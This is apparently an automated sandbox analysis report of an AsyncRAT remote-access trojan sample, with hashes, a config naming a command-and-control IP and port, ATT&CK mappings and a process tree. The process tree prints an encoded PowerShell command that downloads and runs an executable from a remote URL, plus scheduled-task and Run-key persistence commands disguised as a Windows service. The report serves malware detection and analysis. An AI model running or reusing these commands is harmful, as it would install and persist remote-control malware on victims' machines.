asyncrat | 0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03

Analysis

max time kernel
148s
max time network
149s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
27-12-2022 07:17

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General

Target

0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exe
Size

5KB
MD5

80b5367dce5fa3438971148c591192bb
SHA1

e64e614bdc92464d237706a1ec8f16c4d030771a
SHA256

0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03
SHA512

0ec3553f437de1de9a3fc04013626cb3dc55e33ecdd26480383782f4b40c36119b985663a190c2ebdbf021b0252d27108a8c9a08df8adcd88153e3efbe5df1f3
SSDEEP

96:gf53TE79fkCFHGHtZsfvk+JCAYBsRvk+JCnSvFd3ojXLrl:O53O9fPFmHryvkUY6vkdaFd6

Score

10^/10

asyncrat defendersmartscren persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3968-206-0x000000000040D06E-mapping.dmp	asyncrat
behavioral1/memory/3968-205-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 5056 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

3.exe

pid process

4108 3.exe

flow	pid	process
3	5056	powershell.exe

pid	process
4108	3.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

3.exe

description pid process target process

PID 4108 set thread context of 3968 4108 3.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4396 schtasks.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe3.exepowershell.exe

pid process

5056 powershell.exe
5056 powershell.exe
5056 powershell.exe
4108 3.exe
4108 3.exe
2332 powershell.exe
2332 powershell.exe
2332 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exe3.exepowershell.exe

description pid process

Token: SeDebugPrivilege 5056 powershell.exe
Token: SeDebugPrivilege 4108 3.exe
Token: SeDebugPrivilege 2332 powershell.exe

description	pid	process	target process
PID 4108 set thread context of 3968	4108	3.exe	RegAsm.exe

pid	process
4396	schtasks.exe

pid	process
5056	powershell.exe
5056	powershell.exe
5056	powershell.exe
4108	3.exe
4108	3.exe
2332	powershell.exe
2332	powershell.exe
2332	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	4108	3.exe
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exepowershell.exe3.execmd.exe

description	pid	process	target process
PID 2692 wrote to memory of 5056	2692	0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exe	powershell.exe
PID 2692 wrote to memory of 5056	2692	0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exe	powershell.exe
PID 5056 wrote to memory of 4108	5056	powershell.exe	3.exe
PID 5056 wrote to memory of 4108	5056	powershell.exe	3.exe
PID 5056 wrote to memory of 4108	5056	powershell.exe	3.exe
PID 4108 wrote to memory of 2332	4108	3.exe	powershell.exe
PID 4108 wrote to memory of 2332	4108	3.exe	powershell.exe
PID 4108 wrote to memory of 2332	4108	3.exe	powershell.exe
PID 4108 wrote to memory of 2964	4108	3.exe	cmd.exe
PID 4108 wrote to memory of 2964	4108	3.exe	cmd.exe
PID 4108 wrote to memory of 2964	4108	3.exe	cmd.exe
PID 4108 wrote to memory of 2044	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 2044	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 2044	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 4108 wrote to memory of 3968	4108	3.exe	RegAsm.exe
PID 2964 wrote to memory of 4396	2964	cmd.exe	schtasks.exe
PID 2964 wrote to memory of 4396	2964	cmd.exe	schtasks.exe
PID 2964 wrote to memory of 4396	2964	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exe
"C:\Users\Admin\AppData\Local\Temp\0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZAByACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA2ADYANQAzADEANgA0ADAAOAA4ADEAMwA5ADgAMQA3AC8AMQAwADUANgA2ADUAMwA4ADMAMgAzADUAOAAyADAANwA2ADAAOQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGcAZwB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaAB1AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgB2AGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMwAuAGUAeABlACcAKQApADwAIwB3AHkAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBiAHAAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwB2AHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMwAuAGUAeABlACcAKQA8ACMAZABjAHIAIwA+AA=="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5056

C:\Users\Admin\AppData\Roaming\3.exe
"C:\Users\Admin\AppData\Roaming\3.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:3968

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:2044

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4396

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
80a57786a71a488e7e713d9bc29b9151

SHA1
dbafdffe3de0be27a2cfb99a9aea6ab3e2c14cd8

SHA256
7853f23fc43470ded00be7c7d1155de28054817c620560ffbab94ebf1386f9ac

SHA512
a6b72a3dba7a8b8b37aef10a38a6ac7b73f971800f0c3a88797c8f982e424b7e627103e83de339fe435e4311fa956f8cf02c7b80ede899d834701d08d9e089d6

Download Submit
C:\Users\Admin\AppData\Roaming\3.exe
Filesize
87KB

MD5
ca699117112a173ca7b289f1baf6c3c0

SHA1
862f227d4fa0b4de892006d7fe19e610e9f1a676

SHA256
db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6

SHA512
d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620

Download Submit
C:\Users\Admin\AppData\Roaming\3.exe
Filesize
87KB

MD5
ca699117112a173ca7b289f1baf6c3c0

SHA1
862f227d4fa0b4de892006d7fe19e610e9f1a676

SHA256
db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6

SHA512
d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620

Download Submit
memory/2332-191-0x0000000000000000-mapping.dmp

Download
memory/2332-312-0x00000000071E0000-0x0000000007808000-memory.dmp

Filesize
6.2MB

Download
memory/2332-588-0x0000000009550000-0x0000000009558000-memory.dmp

Filesize
32KB

Download
memory/2332-380-0x00000000095B0000-0x0000000009644000-memory.dmp

Filesize
592KB

Download
memory/2332-370-0x00000000093D0000-0x0000000009475000-memory.dmp

Filesize
660KB

Download
memory/2332-360-0x0000000009280000-0x000000000929E000-memory.dmp

Filesize
120KB

Download
memory/2332-359-0x00000000092A0000-0x00000000092D3000-memory.dmp

Filesize
204KB

Download
memory/2332-343-0x00000000081E0000-0x0000000008256000-memory.dmp

Filesize
472KB

Download
memory/2332-607-0x00000000096A0000-0x00000000096C2000-memory.dmp

Filesize
136KB

Download
memory/2332-338-0x0000000007890000-0x00000000078AC000-memory.dmp

Filesize
112KB

Download
memory/2332-606-0x0000000009650000-0x000000000966A000-memory.dmp

Filesize
104KB

Download
memory/2332-334-0x0000000007AD0000-0x0000000007E20000-memory.dmp

Filesize
3.3MB

Download
memory/2332-333-0x0000000007A60000-0x0000000007AC6000-memory.dmp

Filesize
408KB

Download
memory/2332-332-0x00000000079F0000-0x0000000007A56000-memory.dmp

Filesize
408KB

Download
memory/2332-330-0x0000000007130000-0x0000000007152000-memory.dmp

Filesize
136KB

Download
memory/2332-192-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2332-307-0x00000000046C0000-0x00000000046F6000-memory.dmp

Filesize
216KB

Download
memory/2332-197-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2332-339-0x0000000007F20000-0x0000000007F6B000-memory.dmp

Filesize
300KB

Download
memory/2332-583-0x0000000009560000-0x000000000957A000-memory.dmp

Filesize
104KB

Download
memory/2332-200-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2332-194-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2692-118-0x0000000000030000-0x0000000000038000-memory.dmp

Filesize
32KB

Download
memory/2964-196-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2964-193-0x0000000000000000-mapping.dmp

Download
memory/2964-199-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2964-202-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2964-203-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/2964-211-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-207-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-210-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-213-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-214-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-215-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-212-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-209-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/3968-206-0x000000000040D06E-mapping.dmp

Download
memory/3968-205-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4108-163-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-187-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-198-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-201-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-190-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-188-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-185-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-183-0x00000000056B0000-0x0000000005BAE000-memory.dmp

Filesize
5.0MB

Download
memory/4108-182-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-143-0x0000000000000000-mapping.dmp

Download
memory/4108-180-0x0000000000A20000-0x0000000000A3C000-memory.dmp

Filesize
112KB

Download
memory/4108-179-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-177-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-176-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-208-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-174-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-173-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-204-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-171-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-169-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-168-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-167-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-166-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-164-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-162-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-161-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-189-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-195-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-186-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-184-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-181-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-178-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-175-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-172-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-170-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-165-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-160-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-159-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-158-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-157-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-156-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-155-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-153-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-152-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-151-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-150-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-149-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-148-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-147-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4108-145-0x0000000077520000-0x00000000776AE000-memory.dmp

Filesize
1.6MB

Download
memory/4396-219-0x0000000000000000-mapping.dmp

Download
memory/5056-128-0x00000156F97A0000-0x00000156F9816000-memory.dmp

Filesize
472KB

Download
memory/5056-124-0x00000156F8C50000-0x00000156F8C72000-memory.dmp

Filesize
136KB

Download
memory/5056-119-0x0000000000000000-mapping.dmp

Download